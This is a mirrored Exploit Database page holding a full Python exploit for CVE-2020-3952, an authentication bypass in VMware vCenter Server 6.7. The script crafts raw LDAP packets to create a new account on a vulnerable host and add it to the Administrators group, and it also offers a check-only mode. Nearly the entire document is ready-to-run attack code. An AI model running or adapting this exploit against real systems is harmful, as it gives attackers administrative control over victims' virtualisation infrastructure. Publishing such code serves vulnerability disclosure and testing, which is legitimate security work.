VMware vCenter Server 6.7 – Authentication Bypass

• Exploit Database
• 104 阅读

• 作者： Photubias
  日期： 2020-06-01
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/48535/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249

  # Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass # Date: 2020-06-01 # Exploit Author: Photubias # Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html # Version: vCenter Server 6.7 before update 3f # Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0) # CVE: CVE-2020-3952   #!/usr/bin/env python3   ''' Copyright 2020 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version.   This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.See the GNU General Public License for more details.   You should have received a copy of the GNU General Public License along with this program.If not, see <http://www.gnu.org/licenses/>.   Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952   File name CVE-2020-3592.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be   ## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x   This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-)   Features: exploit + vulnerability checker '''   import binascii, socket, sys, string, random   ## Default vars; change at will _sIP = '192.168.50.35' _iPORT = 389 _iTIMEOUT = 5   def randomString(iStringLength=8): #sLetters = string.ascii_lowercase sLetters = string.ascii_letters return ''.join(random.choice(sLetters) for i in range(iStringLength))   def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified ## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed sReturn = sPrefix if (len(sData) / 2 ) > 255: sReturn+= b'82' hexBytes = 2 elif (len(sData) /2 ) >= 128: sReturn += b'81' sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode() return sReturn   def buildBindRequestPacket(sUser, sPass): sUser = binascii.hexlify(sUser.encode()) sPass = binascii.hexlify(sPass.encode()) ## Packet Construction sPacket = getLengthPrefix(sPass, b'80') + sPass sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket sPacket = b'020103' + sPacket sPacket = getLengthPrefix(sPacket, b'60') + sPacket sPacket = b'020101' + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket #print(sPacket) return binascii.unhexlify(sPacket)   def buildUserCreatePacket(sUser, sPass): sUser = binascii.hexlify(sUser.encode()) sPass = binascii.hexlify(sPass.encode()) def createAttribute(sName, sValue): sValue = getLengthPrefix(sValue, b'04') + sValue sName = getLengthPrefix(sName, b'04') + sName   sReturn = getLengthPrefix(sValue, b'31') + sValue sReturn = sName + sReturn sReturn = getLengthPrefix(sReturn, b'30') + sReturn return sReturn   def createObjectClass(): sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top') sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person') sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson') sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')   sReturn = getLengthPrefix(sReturn, b'31') + sReturn sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn sReturn = getLengthPrefix(sReturn, b'30') + sReturn return sReturn   ## Attributes sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True')) sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL')) sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser) sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser) sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local')) sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser) sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser) sAttributes += createObjectClass() sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass) ## CN sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local') sUserEntry = getLengthPrefix(sCN, b'04') + sCN   ## Packet Assembly (bottom up) sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes sPacket = sUserEntry + sPacket sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket #print(sPacket) return binascii.unhexlify(sPacket)   def buildModifyUserPacket(sUser): sFQDN = binascii.hexlify(('cn=' + sUser + ',cn=Users,dc=vsphere,dc=local').encode()) sCN = binascii.hexlify(b'cn=Administrators,cn=Builtin,dc=vsphere,dc=local') sMember = binascii.hexlify(b'member') ## Packet Construction sPacket = getLengthPrefix(sFQDN, b'04') + sFQDN sPacket = getLengthPrefix(sPacket, b'31') + sPacket sPacket = getLengthPrefix(sMember, b'04') + sMember + sPacket sPacket = getLengthPrefix(sPacket, b'0a010030') + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket sPacket = getLengthPrefix(sCN, b'04') + sCN + sPacket sPacket = getLengthPrefix(sPacket, b'02010366') + sPacket sPacket = getLengthPrefix(sPacket, b'30') + sPacket #print(sPacket) return binascii.unhexlify(sPacket)   def performBind(s): ## Trying to bind, fails, but necessary (even fails when using correct credentials) dPacket = buildBindRequestPacket('Administrator@vsphere.local','www.IC4.be') s.send(dPacket) sResponse = s.recv(1024) try: sResponse = sResponse.split(b'\x04\x00')[0][-1:] sCode = binascii.hexlify(sResponse).decode() if sCode == '31': print('[+] Ok, service reachable, continuing') else: print('[-] Something went wrong') except: pass return sCode   def performUserAdd(s, sUser, sPass): dPacket = buildUserCreatePacket(sUser,sPass) s.send(dPacket) sResponse = s.recv(1024) try: sCode = sResponse.split(b'\x04\x00')[0][-1:] sMessage = sResponse.split(b'\x04\x00')[1] if sCode == b'\x00': print('[+] Success! User ' + sUser + '@vsphere.local added with password ' + sPass) elif sCode == b'\x32': print('[-] Error, this host is not vulnerable (insufficientAccessRights)') else: if sMessage[2] == b'81': sMessage = sMessage[3:].decode() else: sMessage = sMessage[2:].decode() print('[-] Error, user not added, message received: ' + sMessage) except: pass return sCode     def performUserMod(s, sUser, verbose = True): dPacket = buildModifyUserPacket(sUser) s.send(dPacket) sResponse = s.recv(1024) try: sCode = sResponse.split(b'\x04\x00')[0][-1:] sMessage = sResponse.split(b'\x04\x00')[1] if sCode == b'\x00': if verbose: print('[+] User modification success (if the above is OK).') else: if sMessage[2] == b'81': sMessage = sMessage[3:].decode() else: sMessage = sMessage[2:].decode() if verbose: print('[-] Error during modification, message received: ' + sMessage) except: pass return sCode, sMessage   def performUnbind(s): try: s.send(b'\x30\x05\x02\x01\x04\x42\x00') except: pass   def main(): global _sIP, _iPORT, _iTIMEOUT _sUSER = 'user_' + randomString(6) _sPASS = randomString(8) + '_2020' bAdduser = False if len(sys.argv) == 1: print('[!] No arguments found: python3 CVE-2020-3592.py <dstIP> [<newUsername>] [<newPassword>]') print('Example: ./CVE-2020-3592.py ' + _sIP + ' ' + _sUSER + ' ' + _sPASS) print('Leave username & password empty for a vulnerability check') print('Watch out for vCenter/LDAP password requirements, leave empty for random password') print('But for now, I will ask questions') sAnswer = input('[?] Please enter the vCenter IP address [' + _sIP + ']: ') if not sAnswer == '': _sIP = sAnswer sAnswer = input('[?] Want to perform a check only? [Y/n]: ') if sAnswer.lower() == 'n': bAdduser = True if bAdduser: sAnswer = input('[?] Please enter the new username to add [' + _sUSER + ']: ') if not sAnswer == '': _sUSER = sAnswer sAnswer = input('[?] Please enter the new password for this user [' + _sPASS + ']: ') if not sAnswer == '': _sPASS = sAnswer else: _sIP = sys.argv[1] if len(sys.argv) >= 3: _sUSER = sys.argv[2] bAdduser = True if len(sys.argv) >= 4: _sPASS = sys.argv[3]   ## MAIN print('') s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(_iTIMEOUT) try: s.connect((_sIP,_iPORT)) except: print('[-] Error: Host ' + _sIP + ':' + str(_iPORT) + ' not reachable') sys.exit(1)   performBind(s)   if bAdduser: sCode = performUserAdd(s, _sUSER, _sPASS)   if not bAdduser: print('[!] Checking vulnerability') sCode, sMessage = performUserMod(s, 'Administrator', False) if sCode == b'\x32': print('[-] This host is not vulnerable, message: ' + sMessage) else: print('[+] This host is vulnerable!') else: sCode = performUserMod(s, _sUSER)   performUnbind(s)   s.close()     if __name__ == "__main__": main()